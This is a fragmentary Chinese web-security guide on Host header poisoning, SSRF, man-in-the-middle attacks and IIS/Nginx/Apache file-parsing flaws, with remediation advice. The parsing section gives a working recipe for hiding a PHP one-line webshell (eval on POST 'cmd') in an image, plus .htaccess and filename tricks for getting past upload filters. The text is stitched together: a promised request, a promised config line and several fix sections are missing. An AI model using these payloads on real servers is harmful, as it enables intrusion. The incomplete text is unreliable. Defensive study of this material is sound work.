因此为了能使缓存能将污染后的response返回给用户，我们还必须让缓存服务器看到的host header 和应用看到的host header 不一样, 比如说对于Varnish（一个很有名的缓存服务软件），可以使用一个复制的Host header。Varnish是通过最先到达的请求的host header来辨别host的，而Apache则是看所有请求的host，Nginx则只是看最后一个请求的host。这就意味着你可以通过下面这个请求来欺骗Varnish达到污染的目的

1. 利用web漏洞扫描工具进行检测。

• • 1. 服务器方面：
  • 由于http请求的特点，host header的值其实是不可信的。唯一可信的只有SERVER_NAME，这个在Apache和Nginx里可以通过设置一个虚拟机来记录所有的非法host header。在Nginx里还可以通过指定一个SERVER_NAME名单，Apache也可以通过指定一个SERVER_NAME名单并开启UseCanonicalName选项。建议两种方法同时使用。
  • Varnish很快会发布一个补丁。在官方补丁出来前，可以通过在配置文件里加入：

2、应用方面：

• • 解决这个问题其实是很困难的，因为没有完全自动化的方法来帮助客户识别哪些host 的值是值得信任的。虽然做起来有点麻烦，但是最安全的做法是：在网站安装和初始化的时候，要求管理员提供一个可信任的域名白名单。如果这个实现起来比较困难，那至少也要保证使用SERVER_NAME而不是host header，也就是取得HOST值并保存设为常量并且鼓励用户使用安全配置做的比较好的站点。

1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序（比如溢出）;

3.对内网web应用进行指纹识别，通过访问默认文件实现;

4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;

5.利用file协议读取本地文件等。

1. Web业务运行正常
2. 存在具有交互的功能点。

1、通过分享功能：通过URL地址分享网页内容：

早期分享应用中，为了更好的提供用户体验，WEB应用在分享功能中，通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如人人网分享功能中：http://widget.renren.com/*****?resourceUrl=https://www.nsfocus.com

通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞.

2、转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览：由于手机屏幕大小的关系，直接浏览网页内容的时候会造成许多不便，因此有些公司提供了转码功能，把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

3、在线翻译：通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

4、图片加载与下载，通过URL地址加载或下载图片：图片加载远程图片地址此功能用到的地方很多，但大多都是比较隐秘，比如在有些公司中的加载自家图片服务器上的图片用于展示。（此处可能会有人有疑问，为什么加载图片服务器上的图片也会有问题，直接使用img标签不就好了？ ，没错是这样，但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等，所以就可能造成SSRF问题）。

5、图片、文章收藏功能：此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示，目的还是为了更好的用户体验，而图片收藏就类似于功能四、图片加载。

6、未公开的api实现以及其他调用URL的功能：此处类似的功能有360提供的网站评分，以及有些网站通过api获取远程地址xml文件来加载内容.

1. 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
2. 限制请求的端口为http常用的端口，比如，80,443,8080,8090。
3. 黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。
4. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

在 中间人攻击中，攻击者将会主动去窃听，他将截获客户端和服务器之间的连接 ，并使他们认为他们是在直接通话 ，而实 际上他们是通过攻击者的“转接 来通话的。要完成中间人攻击 ，中间人必须截获客户端和服务器间的所有通信信息，这样中间人可以选择有用的信息并且它可 以将新的信息随意的插入

1. Web业务运行正常
2. 网站采用了SSL或者TSL的协议。

2、通过利用SSLciphercheck软件，通过CMD下运行，进行协议探测进行检测命令：“sslciphercheck.exe -h ip地址或者域名 -p 443”

2、使用WEB应用防火墙防止中间人攻击：通过WEB应用防火墙，对HTTP Header请求头进行过滤和监控，舍弃嵌入式的Http请求行，以防止中间人攻击。

1. Web业务运行正常。
2. Php+mysql的搭配，则需要进行检测。

1、IIS 6.0

目录解析：/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码 IIS6.0会将 xx.jpg 解析为 asp 文件。

后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名) IIS6.0都会把此类后缀文件成功解析为 asp 文件。

默认解析：/xx.asa /xx.cer /xx.cdx IIS6.0默认的可执行文件除了 asp 还包含这三种此处可联系利用目录解析漏洞/xx.asa/xx.jpg 或/xx.cer/xx.jpg 或 xx.asa;.jpg

2、IIS 7.0/IIS 7.5/Nginx <8.03

IIS 7.0/IIS 7.5/Nginx<8.03在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。常用利用方法：将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾:

copy xx.jpg/b + yy.txt/a xy.jpg ######################################/b 即二进制[binary]模式/a 即ascii模式 xx.jpg正常图片文件 yy.txt 内容<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>意思为写入一个内容为<?php eval($_POST[cmd])?>名称为shell.php的文件######################################找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上/xx.php 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 密码 cmd

3、Nginx <8.03

在Fast-CGI关闭的情况下，Nginx<8.03依然存在解析漏洞在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php解析为 php 文件

4、Apache

后缀解析：test.php.x1.x2.x3 Apache将从右至左开始判断后缀，若x3非可识别后缀，再判断x2，直到找到可识别后缀为止，然后将该可识别后缀进解析 test.php.x1.x2.x3 则会被解析为php 经验之谈：php|php3|phtml 多可被Apache解析

5、其他一些可利用的：

在windows环境下，xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的，若这样命名，windows会默认除去空格或点，这也是可以被利用的！在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可得到shell。我记得FckPhp2.6就存在加空格绕过的漏洞。{Linux主机中不行，Linux允许这类文件存在}如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说的，当初我并不知道），且可以被上传，那可以尝试在.htaccess中写入:<FilesMatch“shell.jpg”>SetHandler application/x-httpd-php </FilesMatch> shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件

6、lighttpd

xx.jpg/xx.php

1. 针对IIS解析漏洞（另详见本节末尾，其他说明中详细方法）：

1. 针对Nginx解析漏洞：

1. 针对Apache解析漏洞：

1. 其他解决方案：使用McAfee VirusScan软件的访问保护中的自定义规则，新建文件/文件夹阻挡规则，配置：规则名称随便填写，要包含的进程填*，要阻止的文件夹或文件名中写**\*.asp\*.*，以上方法很简单，是对整个服务器进行设置的。

漏洞扫描规避

规避方式一

参考配URL整改，取消返回Server:Mircrosoft/IIS 6.0HTTP头。

http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx

规避方式二

该漏洞是基于扫描端口Banner版本报出的，修改IIS Banner信息可以降低该漏洞被发现的概率，修改步骤：

1、复制c:\windows\system32\dllcache\w3core.dll 文件备份两次（方便描述以下用A、B区分——A用于修改，B用来备份）。

2、用Uedit32或者winhex打开复制的w3core.dll（A），直接搜索关键字“6.0”，要勾选“ascii”。搜索到了，将6.0改成8.0后保存。

3、将A复制到“c:\windows\system32\dllcache\”替换原有的w3core.dll。

4、停止IIS Admin Service服务，将A复制到“c:\windows\system32\inetsrv\”替换原有的w3core.dll。(此处不停止IIS服务该文件不能被替换。)

5、启动IIS Admin Service服务，然后对该服务再重启次，不行就重启系统。

提示：

1、w3core.dll文件记录了IIS的版本，本方法通过修改该文件达到修改IIS Banner目的。

2、Windows对重要dll文件有保护机制，c:\windows\system32\dllcache\中为Windows的dll备份目录，系统发现重要dll被修复时，会将该目录的dll文件，还原替换被修改的dll。故需要先替换该目录下的w3core.dll文件。

注意事项：

1、修改、删除或替换dll文件前，做好备份。

2、建议在测试机器上测试是否有效，再对业务机器修改。

以上参考： http://www.2cto.com/Article/201111/110201.html

漏洞利用规避

该漏洞经以上方法修改后仍然存在,只有通过平台改造到windowsServer 2008/2012——IIS7以上，或者使用Apahce/Tomcat等其他中间件才能彻底修复这个问题。如部改造，可使用以下方法防止漏洞利用：

1、对网站中上传目录配置限制脚本执行权限，以防止上传到服务器的webshell等恶意文件无法执行。

2、应用程序应对上传文件名称进行重命名。如上传恶意文件webshell.asp;.doc，对其重命名成85f9e396cf16200119f100757a6e8da1.doc（可对原文件名进行md5哈希运算值作为新的文件名）。如不进行此文件重命名操作，上传到存在此漏洞的webshell.asp;.doc文件会被解析成webshell.asp来执行。

3、使用IIS Rewirte进行漏洞加固。参考：

http://bbs.qibosoft.com/read-forum-tid-407332.htm